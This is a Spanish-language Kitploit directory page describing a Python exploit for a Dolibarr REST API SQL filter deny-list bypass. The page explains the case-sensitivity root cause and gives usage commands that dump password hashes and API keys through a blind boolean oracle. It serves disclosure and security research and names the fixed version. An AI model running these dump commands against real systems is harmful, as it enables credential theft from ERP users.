Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-89012 — Exploit en Python para CVE-2026-89012, un bypass de la lista de denegación del filtro SQL de Dolibarr que utiliza un oráculo booleano ciego para extraer hashes de contraseñas y claves de API a través de la API REST. | Kitploit
Herramientas/GitHubGitHub/faceless0x7/cve-2026-89012
Descifrado de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónSeguridad WebPruebas de PenetraciónSeguridad de APIs
GitHubfaceless0x7/cve-2026-89012

CVE-2026-89012

Exploit en Python para CVE-2026-89012, un bypass de la lista de denegación del filtro SQL de Dolibarr que utiliza un oráculo booleano ciego para extraer hashes de contraseñas y claves de API a través de la API REST.

1hace 16h 7mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

CVE-2026-89012 — Omisión de la lista de denegación del filtro SQL de Dolibarr

Exploit para CVE-2026-89012: la lista de denegación de campos prohibidos en forgeSQLFromUniversalSearchCriteria() (introducida con la corrección de CVE-2026-71510) utiliza un in_array() sensible a mayúsculas y minúsculas mientras que el conjunto de caracteres del operando permite A-Z. Dado que la resolución de columnas SQL no distingue entre mayúsculas y minúsculas, un usuario autenticado de la API puede consultar t.PASS_CRYPTED en lugar de t.pass_crypted y omitir la lista de denegación. Los predicados LIKE con prefijo convierten sqlfilters en un oráculo booleano ciego que recupera los hashes de contraseñas carácter por carácter.

Registro: https://www.cve.org/CVERecord?id=CVE-2026-89012

Causa raíz

root@kitploit:~
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) {  // case-sensitive
    return '1=1';
}

Uso

root@kitploit:~
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check

# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users

# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump

# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex

Solo biblioteca estándar (Python 3.8+). Compatible con --proxy, --insecure, --timeout.

Nota: bajo una colación que no distingue entre mayúsculas y minúsculas (la predeterminada), el valor bcrypt se recupera exactamente hasta el caso de los caracteres; las columnas de texto plano (llx_adherent.pass a través de /api/index.php/members, pass_temp) se recuperan byte a byte.

demo

Referencias

  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-89012
  • Versión corregida: https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1
  • Commit del parche: https://github.com/Dolibarr/dolibarr/commit/7a04d9c970e45e15d29c91e6f5a34a262c6c51c8

Descargo de responsabilidad

Solo para pruebas e investigación autorizadas. Úsalo únicamente contra sistemas que poseas o para los que tengas permiso explícito de probar.

Descargar herramienta
AfectadoDolibarr 24.0.0
Corregido24.0.1
Requisitos previostoken de API válido con users->lire
Impactodivulgación de pass_crypted, api_key, pass, pass_temp, openid